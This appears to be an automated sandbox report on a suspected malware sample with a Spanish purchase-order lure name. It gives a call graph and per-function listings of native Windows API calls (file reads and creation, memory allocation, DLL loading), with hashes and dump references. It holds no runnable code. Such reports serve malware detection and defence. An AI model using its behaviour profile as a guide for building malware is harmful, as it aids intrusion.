95958 41ae4c 95957->95958 95959 41ac20 LdrLoadDll 95958->95959 95960 41ae58 95959->95960 95961 41ac20 LdrLoadDll 95960->95961 95962 41ae61 95961->95962 95963 41ac20 LdrLoadDll 95962->95963 95964 41ae6a 95963->95964 95965 41ac20 LdrLoadDll 95964->95965 95966 41ae73 95965->95966 95967 41ac20 LdrLoadDll 95966->95967 95968 41ae7c 95967->95968 95969 41ac20 LdrLoadDll 95968->95969 95970 41ae85 95969->95970 95971 41ac20 LdrLoadDll 95970->95971 95972 41ae91 95971->95972 95973 41ac20 LdrLoadDll 95972->95973 95974 41ae9a 95973->95974 95975 41ac20 LdrLoadDll 95974->95975 95976 41aea3 95975->95976 95977 41ac20 LdrLoadDll 95976->95977 95978 41aeac 95977->95978 95979 41ac20 LdrLoadDll 95978->95979 95980 41aeb5 95979->95980 95981 41ac20 LdrLoadDll 95980->95981 95982 41aebe 95981->95982 95983 41ac20 LdrLoadDll 95982->95983 95984 41aeca 95983->95984 95985 41ac20 LdrLoadDll 95984->95985 95986 41aed3 95985->95986 95987 41ac20 LdrLoadDll 95986->95987 95988 41aedc 95987->95988 95988->95767 95990 41af50 LdrLoadDll 95989->95990 95991 419ecc 95990->95991 96021 16a2df0 LdrInitializeThunk 95991->96021 95992 419ee3 95992->95688 95994->95764 95996 41a54c NtAllocateVirtualMemory 95995->95996 95997 41af50 LdrLoadDll 95995->95997 95996->95867 95997->95996 95999 41cf30 95998->95999 96000 41cf36 95998->96000 95999->95872 96001 41bf80 2 API calls 96000->96001 96002 41cf5c 96001->96002 96002->95872 96004 41cfc0 96003->96004 96005 41bf80 2 API calls 96004->96005 96006 41d01d 96004->96006 96007 41cffa 96005->96007 96006->95878 96008 41bdb0 2 API calls 96007->96008 96008->96006 96009->95877 96010->95890 96011->95892 96012->95895 96013->95897 96014->95899 96016 41ac3b 96015->96016 96017 414e40 LdrLoadDll 96016->96017 96018 41ac5b 96017->96018 96019 414e40 LdrLoadDll 96018->96019 96020 41ad07 96018->96020 96019->96020 96020->95915 96021->95992 96023 16a2c1f LdrInitializeThunk 96022->96023 96024 16a2c11 96022->96024 96023->95773 96024->95773 96026 41af50 LdrLoadDll 96025->96026 96027 41a67c RtlFreeHeap 96026->96027 96027->95776 96029 407eb0 96028->96029 96030 407eab 96028->96030 96031 41bd30 2 API calls 96029->96031 96030->95696 96034 407ed5 96031->96034 96032 407f38 96032->95696 96033 419eb0 2 API calls 96033->96034 96034->96032 96034->96033 96035 407f3e 96034->96035 96039 41bd30 2 API calls 96034->96039 96044 41a5b0 96034->96044 96037 407f64 96035->96037 96038 41a5b0 2 API calls 96035->96038 96037->95696 96040 407f55 96038->96040 96039->96034 96040->95696 96042 40817e 96041->96042 96043 41a5b0 2 API calls 96041->96043 96042->95653 96043->96042 96045 41a5cc 96044->96045 96046 41af50 LdrLoadDll 96044->96046 96049 16a2c70 LdrInitializeThunk 96045->96049 96046->96045 96047 41a5e3 96047->96034 96049->96047 96051 41b5b3 96050->96051 96054 40ace0 96051->96054 96055 40ad04 96054->96055 96056 40ad40 LdrLoadDll 96055->96056 96057 409c3a 96055->96057 96056->96057 96057->95659 96060 40b053 96058->96060 96059 40b0d0 96059->95666 96060->96059 96073 419c80 LdrLoadDll 96060->96073 96063 41af50 LdrLoadDll 96062->96063 96064 40f1ab 96063->96064 96064->95673 96065 41a7c0 96064->96065 96066 41af50 LdrLoadDll 96065->96066 96067 41a7df LookupPrivilegeValueW 96066->96067 96067->95670 96069 41af50 LdrLoadDll 96068->96069 96070 41a26c 96069->96070 96074 16a2ea0 LdrInitializeThunk 96070->96074 96071 41a28b 96071->95674 96073->96059 96074->96071 96076 40b1b9 96075->96076 96077 40b030 LdrLoadDll 96076->96077 96078 40b1f4 96077->96078 96078->95608 96080 40ae41 96079->96080 96081 40ae3d 96079->96081 96082 40ae5a 96080->96082 96083 40ae8c 96080->96083 96081->95610 96125 419cc0 LdrLoadDll 96082->96125 96126 419cc0 LdrLoadDll 96083->96126 96085 40ae9d 96085->95610 96087 40ae7c 96087->95610 96089 40f490 3 API calls 96088->96089 96090 4143b6 96088->96090 96089->96090 96090->95612 96127 4087a0 96091->96127 96094 408a9d 96094->95614 96095 4087a0 19 API calls 96096 408a8a 96095->96096 96096->96094 96145 40f700 10 API calls 96096->96145 96099 41af50 LdrLoadDll 96098->96099 96100 41a50c 96099->96100 96264 16a2e80 LdrInitializeThunk 96100->96264 96101 40c312 96103 40f490 96101->96103 96104 40f4ad 96103->96104 96265 419fb0 96104->96265 96107 40f4f5 96107->95618 96108 41a000 2 API calls 96109 40f51e 96108->96109 96109->95618 96111 41af50 LdrLoadDll 96110->96111 96112 41a01c 96111->96112 96271 16a2d10 LdrInitializeThunk 96112->96271 96113 40c375 96113->95624 96113->95627 96116 41af50 LdrLoadDll 96115->96116 96117 41a06c 96116->96117 96272 16a2d30 LdrInitializeThunk 96117->96272 96118 40c449 96118->95635 96121 41af50 LdrLoadDll 96120->96121 96122 419e2c 96121->96122 96273 16a2fb0 LdrInitializeThunk 96122->96273 96123 40c49c 96123->95639 96125->96087 96126->96085 96128 407ea0 4 API calls 96127->96128 96143 4087ba 96127->96143 96128->96143 96129 408a49 96129->96094 96129->96095 96130 408a3f 96131 408160 2 API calls 96130->96131 96131->96129 96134 419ef0 2 API calls 96134->96143 96136 41a480 LdrLoadDll NtClose 96136->96143 96139 40c4b0 LdrLoadDll NtClose LdrInitializeThunk LdrInitializeThunk LdrInitializeThunk 96139->96143 96142 419e10 2 API calls 96142->96143 96143->96129 96143->96130 96143->96134 96143->96136 96143->96139 96143->96142 96146 419d00 96143->96146 96149 4085d0 96143->96149 96161 40f5e0 LdrLoadDll NtClose 96143->96161 96162 419d80 LdrLoadDll 96143->96162 96163 419db0 LdrLoadDll 96143->96163 96164 419e40 LdrLoadDll 96143->96164 96165 4083a0 96143->96165 96181 405f60 LdrLoadDll 96143->96181 96145->96094 96147 41af50 LdrLoadDll 96146->96147 96148 419d1c 96147->96148 96148->96143 96150 4085e6 96149->96150 96182 419870 96150->96182 96152 408771 96152->96143 96153 4085ff 96153->96152 96203 4081a0 96153->96203 96155 4086e5 96155->96152 96156 4083a0 11 API calls 96155->96156 96157 408713 96156->96157 96157->96152 96158 419ef0 2 API calls 96157->96158 96159 408748 96158->96159 96159->96152 96160 41a4f0 2 API calls 96159->96160 96160->96152 96161->96143 96162->96143 96163->96143 96164->96143 96166 4083c9 96165->96166 96243 408310 96166->96243 96168 4083dc 96170 41a4f0 2 API calls 96168->96170 96171 408467 96168->96171 96173 408462 96168->96173 96251 40f660 96168->96251 96170->96168 96171->96143 96172 41a480 2 API calls 96174 40849a 96172->96174 96173->96172 96174->96171 96175 419d00 LdrLoadDll 96174->96175 96176 4084ff 96175->96176 96176->96171 96255 419d40 96176->96255 96178 408563 96178->96171 96179 414a40 8 API calls 96178->96179 96180 4085b8 96179->96180 96180->96143 96181->96143 96183 41bf80 2 API calls 96182->96183 96184 419887 96183->96184 96210 409310 96184->96210 96186 4198a2 96187 4198e0 96186->96187 96188 4198c9 96186->96188 96191 41bd30 2 API calls 96187->96191 96189 41bdb0 2 API calls 96188->96189 96190 4198d6 96189->96190 96190->96153 96192 41991a 96191->96192 96193 41bd30 2 API calls 96192->96193 96194 419933 96193->96194 96200 419bd4 96194->96200 96216 41bd70 96194->96216 96197 419bc0 96198 41bdb0 2 API calls 96197->96198 96199 419bca 96198->96199 96199->96153 96201 41bdb0 2 API calls 96200->96201 96202 419c29 96201->96202 96202->96153 96204 40829f 96203->96204 96205 4081b5 96203->96205 96204->96155 96205->96204 96206 414a40 8 API calls 96205->96206 96208 408222 96206->96208 96207 408249 96207->96155 96208->96207 96209 41bdb0 2 API calls 96208->96209 96209->96207 96211 409335 96210->96211 96212 40ace0 LdrLoadDll 96211->96212 96213 409368 96212->96213 96215 40938d 96213->96215 96219 40cf10 96213->96219 96215->96186 96237 41a570 96216->96237 96220 40cf11 96219->96220 96221 41a1d0 LdrLoadDll 96220->96221 96222 40cf55 96221->96222 96223 40cf5c 96222->96223 96230 41a210 96222->96230 96223->96215 96227 40cf97 96228 41a480 2 API calls 96227->96228 96229 40cfba 96228->96229 96229->96215 96231 41a22c 96230->96231 96232 41af50 LdrLoadDll 96230->96232 96236 16a2ca0 LdrInitializeThunk 96231->96236 96232->96231 96233 40cf7f 96233->96223 96235 41a800 LdrLoadDll 96233->96235 96235->96227 96236->96233 96238 41af50 LdrLoadDll 96237->96238 96239 41a58c 96238->96239 96242 16a2f90 LdrInitializeThunk 96239->96242 96240 419bb9 96240->96197 96240->96200 96242->96240 96244 408328 96243->96244 96245 40ace0 LdrLoadDll 96244->96245 96246 408343 96245->96246 96247 414e40 LdrLoadDll 96246->96247 96248 408353 96247->96248 96249 40835c PostThreadMessageW 96248->96249 96250 408370 96248->96250 96249->96250 96250->96168 96252 40f673 96251->96252 96258 419e80 96252->96258 96256 41af50 LdrLoadDll 96255->96256 96257 419d5c 96256->96257 96257->96178 96259 419e9c 96258->96259 96260 41af50 LdrLoadDll 96258->96260 96263 16a2dd0 LdrInitializeThunk 96259->96263 96260->96259 96261 40f69e 96261->96168 96263->96261 96264->96101 96266 41af50 LdrLoadDll 96265->96266 96267 419fcc 96266->96267 96270 16a2f30 LdrInitializeThunk 96267->96270 96268 40f4ee 96268->96107 96268->96108 96270->96268 96271->96113 96272->96118 96273->96123 96277 16a2ad0 LdrInitializeThunk

                                                                                                              Executed Functions

                                                                                                              Function 0041A400 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 36filenativeCOMMON
                                                                                                              Download Yara Rule

                                                                                                              Control-flow Graph

                                                                                                              • Executed
                                                                                                              • Not Executed
                                                                                                              control_flow_graph 0 41a400-41a449 call 41af50 NtReadFile
                                                                                                              APIs
                                                                                                              • NtReadFile.NTDLL(bMA,5EB65239,FFFFFFFF,?,?,?,bMA,?,!JA,FFFFFFFF,5EB65239,00414D62,?,00000000), ref: 0041A445
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.1450157027.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: FileRead
                                                                                                              • String ID: !JA$bMA$bMA
                                                                                                              • API String ID: 2738559852-4222312340
                                                                                                              • Opcode ID: d4a5a74702051ab3f1355cb9c04464ae45872bc81882c1ce62b08827cfd1deed
                                                                                                              • Instruction ID: 27817754ac388b25b847a3362b671b2e44b934df7eae6808a762aa4d31f9cf83
                                                                                                              • Opcode Fuzzy Hash: d4a5a74702051ab3f1355cb9c04464ae45872bc81882c1ce62b08827cfd1deed
                                                                                                              • Instruction Fuzzy Hash: 93F0B7B2200208AFCB14DF89DC81EEB77ADEF8C754F158249BE1D97241D630E851CBA4
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0040ACE0 Relevance: 1.5, APIs: 1, Instructions: 48libraryloaderCOMMON
                                                                                                              Download Yara Rule

                                                                                                              Control-flow Graph

                                                                                                              • Executed
                                                                                                              • Not Executed
                                                                                                              control_flow_graph 244 40ace0-40ad09 call 41cc40 247 40ad0b-40ad0e 244->247 248 40ad0f-40ad1d call 41d060 244->248 251 40ad2d-40ad3e call 41b490 248->251 252 40ad1f-40ad2a call 41d2e0 248->252 257 40ad40-40ad54 LdrLoadDll 251->257 258 40ad57-40ad5a 251->258 252->251 257->258
                                                                                                              APIs
                                                                                                              • LdrLoadDll.NTDLL(00000000,00000000,00000003,?), ref: 0040AD52
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.1450157027.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: Load
                                                                                                              • String ID:
                                                                                                              • API String ID: 2234796835-0
                                                                                                              • Opcode ID: dc2098e385e942efcd48a296202403441f5905bb34daa24398974f8d6af8945c
                                                                                                              • Instruction ID: d499f532a4605d4acc668fd39ab8700ce4e6b27de0f8ef54b1fb0fb48fae0bb4
                                                                                                              • Opcode Fuzzy Hash: dc2098e385e942efcd48a296202403441f5905bb34daa24398974f8d6af8945c
                                                                                                              • Instruction Fuzzy Hash: EF0152B5D4020DA7DB10EBA5DC42FDEB3789F14308F0041A5E908A7281F634EB54CB95
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0041A350 Relevance: 1.5, APIs: 1, Instructions: 40filenativeCOMMON
                                                                                                              Download Yara Rule

                                                                                                              Control-flow Graph

                                                                                                              • Executed
                                                                                                              • Not Executed
                                                                                                              control_flow_graph 259 41a350-41a3a1 call 41af50 NtCreateFile
                                                                                                              APIs
                                                                                                              • NtCreateFile.NTDLL(00000060,00409CE3,?,00414BA7,00409CE3,FFFFFFFF,?,?,FFFFFFFF,00409CE3,00414BA7,?,00409CE3,00000060,00000000,00000000), ref: 0041A39D
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.1450157027.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: CreateFile
                                                                                                              • String ID:
                                                                                                              • API String ID: 823142352-0
                                                                                                              • Opcode ID: 255eac8f353b7b8934ff6a71ff904c2473dc3201d920852afcf054611f931be4
                                                                                                              • Instruction ID: 880687b14e2bfdcefdfb108c829fe1d34a34742feba638e3287dae326a4d6923
                                                                                                              • Opcode Fuzzy Hash: 255eac8f353b7b8934ff6a71ff904c2473dc3201d920852afcf054611f931be4
                                                                                                              • Instruction Fuzzy Hash: AAF0BDB2201208AFCB08CF89DC85EEB77ADAF8C754F158248BA1D97241C630E8518BA4
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0041A52A Relevance: 1.5, APIs: 1, Instructions: 30memorynativeCOMMON
                                                                                                              Download Yara Rule

                                                                                                              Control-flow Graph

                                                                                                              • Executed
                                                                                                              • Not Executed
                                                                                                              control_flow_graph 262 41a52a-41a56d call 41af50 NtAllocateVirtualMemory
                                                                                                              APIs
                                                                                                              • NtAllocateVirtualMemory.NTDLL(00003000,?,00000000,?,0041B124,?,00000000,?,00003000,00000040,00000000,00000000,00409CE3), ref: 0041A569
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.1450157027.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: AllocateMemoryVirtual
                                                                                                              • String ID:
                                                                                                              • API String ID: 2167126740-0
                                                                                                              • Opcode ID: 228644025f840f7fee6e35e43d606d2cd65501fa599a09edf95dbb4ed57bdd68
                                                                                                              • Instruction ID: 5ffd9728610d5dd4d37788f4d0a412f800f0528348d8b23841a4b3b5204e8e6b
                                                                                                              • Opcode Fuzzy Hash: 228644025f840f7fee6e35e43d606d2cd65501fa599a09edf95dbb4ed57bdd68
                                                                                                              • Instruction Fuzzy Hash: 52F058B1200208ABCB18DF88CC91EE737ACAF88314F108148BE0C97252C630E810CBA0
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0041A530 Relevance: 1.5, APIs: 1, Instructions: 30memorynativeCOMMON
                                                                                                              Download Yara Rule

                                                                                                              Control-flow Graph

                                                                                                              • Executed
                                                                                                              • Not Executed
                                                                                                              control_flow_graph 265 41a530-41a546 266 41a54c-41a56d NtAllocateVirtualMemory 265->266 267 41a547 call 41af50 265->267 267->266
                                                                                                              APIs
                                                                                                              • NtAllocateVirtualMemory.NTDLL(00003000,?,00000000,?,0041B124,?,00000000,?,00003000,00000040,00000000,00000000,00409CE3), ref: 0041A569
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.1450157027.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: AllocateMemoryVirtual
                                                                                                              • String ID:
                                                                                                              • API String ID: 2167126740-0
                                                                                                              • Opcode ID: b2c7a9f16f7248b886659db27fd6bc2ac43cd74a54ece53f3674161978f52f4b
                                                                                                              • Instruction ID: 4e0f78fd3c2c10b6dba7ecb12144fed22081eaa1fb7babd41561f41a61d0d9a2
                                                                                                              • Opcode Fuzzy Hash: b2c7a9f16f7248b886659db27fd6bc2ac43cd74a54ece53f3674161978f52f4b
                                                                                                              • Instruction Fuzzy Hash: A3F015B2200208AFCB14DF89CC81EEB77ADAF88754F118149BE1C97241C630F811CBA4
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0041A47C Relevance: 1.5, APIs: 1, Instructions: 20nativeCOMMON
                                                                                                              Download Yara Rule

                                                                                                              Control-flow Graph

                                                                                                              • Executed
                                                                                                              • Not Executed
                                                                                                              control_flow_graph 278 41a47c-41a4a9 call 41af50 NtClose
                                                                                                              APIs
                                                                                                              • NtClose.NTDLL(00414D40,?,?,00414D40,00409CE3,FFFFFFFF), ref: 0041A4A5
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.1450157027.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: Close
                                                                                                              • String ID:
                                                                                                              • API String ID: 3535843008-0
                                                                                                              • Opcode ID: 2a6e77dc6e63fa20358b6d1967c4757a1df7cb8c207af33ae23075fd2ab79126
                                                                                                              • Instruction ID: 74f325f6456e40746026e1435586509bfe7f73128666eae7e8e5cd7dfe80f1a7
                                                                                                              • Opcode Fuzzy Hash: 2a6e77dc6e63fa20358b6d1967c4757a1df7cb8c207af33ae23075fd2ab79126
                                                                                                              • Instruction Fuzzy Hash: 2EE012762402146FD714EBD4CC45FD77768EF44764F154499BA2C9B242C534E61087D0
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0041A480 Relevance: 1.5, APIs: 1, Instructions: 20nativeCOMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              • NtClose.NTDLL(00414D40,?,?,00414D40,00409CE3,FFFFFFFF), ref: 0041A4A5
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.1450157027.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: Close
                                                                                                              • String ID:
                                                                                                              • API String ID: 3535843008-0
                                                                                                              • Opcode ID: 462dc2fd90f57a4a7913ee6487bbcc8fe2490777b3746e68c632e34f0b64e1a4
                                                                                                              • Instruction ID: 58703de6d0d09b45194c1a78dafb6a6614d70e6a8447524affba2eb7b0ba4c9c
                                                                                                              • Opcode Fuzzy Hash: 462dc2fd90f57a4a7913ee6487bbcc8fe2490777b3746e68c632e34f0b64e1a4
                                                                                                              • Instruction Fuzzy Hash: E9D01776200214ABD710EB99CC85EE77BACEF48764F154499BA1C9B242C530FA1086E4
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 016A2B60 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.1450866073.0000000001630000.00000040.00001000.00020000.00000000.sdmp, Offset: 01630000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_1630000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID: InitializeThunk
                                                                                                              • String ID:
                                                                                                              • API String ID: 2994545307-0
                                                                                                              • Opcode ID: 0156c1574b3f7fe94fafc5934f5cc5c8f8c4647d2dd0d43127403b93fe38825d
                                                                                                              • Instruction ID: 74bc0f7917345979d31860650070a5b5df953267463c15969f0c21ec2e117851
                                                                                                              • Opcode Fuzzy Hash: 0156c1574b3f7fe94fafc5934f5cc5c8f8c4647d2dd0d43127403b93fe38825d
                                                                                                              • Instruction Fuzzy Hash: DC90026120240003410575584C54657400E97E0201B55C021E5015790EC52589D16725
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 016A2BF0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.1450866073.0000000001630000.00000040.00001000.00020000.00000000.sdmp, Offset: 01630000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_1630000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID: InitializeThunk
                                                                                                              • String ID:
                                                                                                              • API String ID: 2994545307-0
                                                                                                              • Opcode ID: 3d3f3e403ba8c3bdd3672fdb55e4c5463446a7734ef5af2ebd972ecf60b075e0
                                                                                                              • Instruction ID: 9c2031cb681169d85bd049618590ff071caab6f95d19832fdea16b23eafae0cf
                                                                                                              • Opcode Fuzzy Hash: 3d3f3e403ba8c3bdd3672fdb55e4c5463446a7734ef5af2ebd972ecf60b075e0
                                                                                                              • Instruction Fuzzy Hash: B490023120140802D18075584C4468B000D97D1301F95C015A4026754ECA158B997BA1
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 016A2AD0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.1450866073.0000000001630000.00000040.00001000.00020000.00000000.sdmp, Offset: 01630000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_1630000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID: InitializeThunk
                                                                                                              • String ID:
                                                                                                              • API String ID: 2994545307-0
                                                                                                              • Opcode ID: 7eea892ed6254d1c8107d04bd4f439a3d505b742f86f98486f509ec1dcefb52a
                                                                                                              • Instruction ID: 3fdda77f9d9e42f3f9cac0fa30c949088ab71301f03d20ea20c7e4812a10b257
                                                                                                              • Opcode Fuzzy Hash: 7eea892ed6254d1c8107d04bd4f439a3d505b742f86f98486f509ec1dcefb52a
                                                                                                              • Instruction Fuzzy Hash: B9900225211400030105B9580F44547004E97D5351355C021F5016750DD62189A15721
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 016A2D30 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.1450866073.0000000001630000.00000040.00001000.00020000.00000000.sdmp, Offset: 01630000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_1630000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID: InitializeThunk
                                                                                                              • String ID:
                                                                                                              • API String ID: 2994545307-0
                                                                                                              • Opcode ID: b46bec32dae5eb5f3b948e54c188a47e74e022c23a4fefd199b915f1af0cb727
                                                                                                              • Instruction ID: 40d4801adf1518633d8f47efbaf774e4964b52be280cd5714566a20bac6417e7
                                                                                                              • Opcode Fuzzy Hash: b46bec32dae5eb5f3b948e54c188a47e74e022c23a4fefd199b915f1af0cb727
                                                                                                              • Instruction Fuzzy Hash: DC90022130140003D14075585C58647400DE7E1301F55D011E4415754DD91589965722
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 016A2D10 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.1450866073.0000000001630000.00000040.00001000.00020000.00000000.sdmp, Offset: 01630000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_1630000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID: InitializeThunk
                                                                                                              • String ID:
                                                                                                              • API String ID: 2994545307-0
                                                                                                              • Opcode ID: 288c93dca676cb68cf2b9bb4b8fab535c048d2705573034915d98afb6ece2751
                                                                                                              • Instruction ID: cfcd8039d7d2a7e9f3d63e0b98431d0b1ec75844d04ad492660b21e98ab1f546
                                                                                                              • Opcode Fuzzy Hash: 288c93dca676cb68cf2b9bb4b8fab535c048d2705573034915d98afb6ece2751
                                                                                                              • Instruction Fuzzy Hash: 8F90022921340002D18075585C4864B000D97D1202F95D415A4016758DC91589A95721
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 016A2DF0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.1450866073.0000000001630000.00000040.00001000.00020000.00000000.sdmp, Offset: 01630000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_1630000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID: InitializeThunk
                                                                                                              • String ID:
                                                                                                              • API String ID: 2994545307-0
                                                                                                              • Opcode ID: 3b97e626a0733293cde981a9be8735a3f26c1c5392f98c10887dfa62c23683ab
                                                                                                              • Instruction ID: e6b32c89d7ae4e8087a85503908431e7e2abacae833c8bf8fe0dd24cac09ead6
                                                                                                              • Opcode Fuzzy Hash: 3b97e626a0733293cde981a9be8735a3f26c1c5392f98c10887dfa62c23683ab
                                                                                                              • Instruction Fuzzy Hash: 3890023120140413D11175584D44747000D97D0241F95C412A4425758ED6568A92A721
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 016A2DD0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.1450866073.0000000001630000.00000040.00001000.00020000.00000000.sdmp, Offset: 01630000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_1630000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID: InitializeThunk
                                                                                                              • String ID:
                                                                                                              • API String ID: 2994545307-0
                                                                                                              • Opcode ID: e42061e7a9f7716183f5785bc0ac26e65889e8983a85560d3c4374676006f468
                                                                                                              • Instruction ID: e252c748802a25fc819805973f6303cffb2a854539846df17e4c5640e29d1aa8
                                                                                                              • Opcode Fuzzy Hash: e42061e7a9f7716183f5785bc0ac26e65889e8983a85560d3c4374676006f468
                                                                                                              • Instruction Fuzzy Hash: F0900221242441525545B5584C44547400EA7E0241795C012A5415B50DC5269996DB21
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 016A2C70 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.1450866073.0000000001630000.00000040.00001000.00020000.00000000.sdmp, Offset: 01630000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_1630000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID: InitializeThunk
                                                                                                              • String ID:
                                                                                                              • API String ID: 2994545307-0
                                                                                                              • Opcode ID: 2565ba985e4596ccd7fc466f36b5579d7ac0edba084d835f368e4c0e20f24a1f
                                                                                                              • Instruction ID: ed063ffb204c1edfff3e751b7b4a6484a5c05932cf07fa716bc76dc7269cb17f
                                                                                                              • Opcode Fuzzy Hash: 2565ba985e4596ccd7fc466f36b5579d7ac0edba084d835f368e4c0e20f24a1f
                                                                                                              • Instruction Fuzzy Hash: 2790023120148802D11075588C4478B000D97D0301F59C411A8425758EC69589D17721
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 016A2CA0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
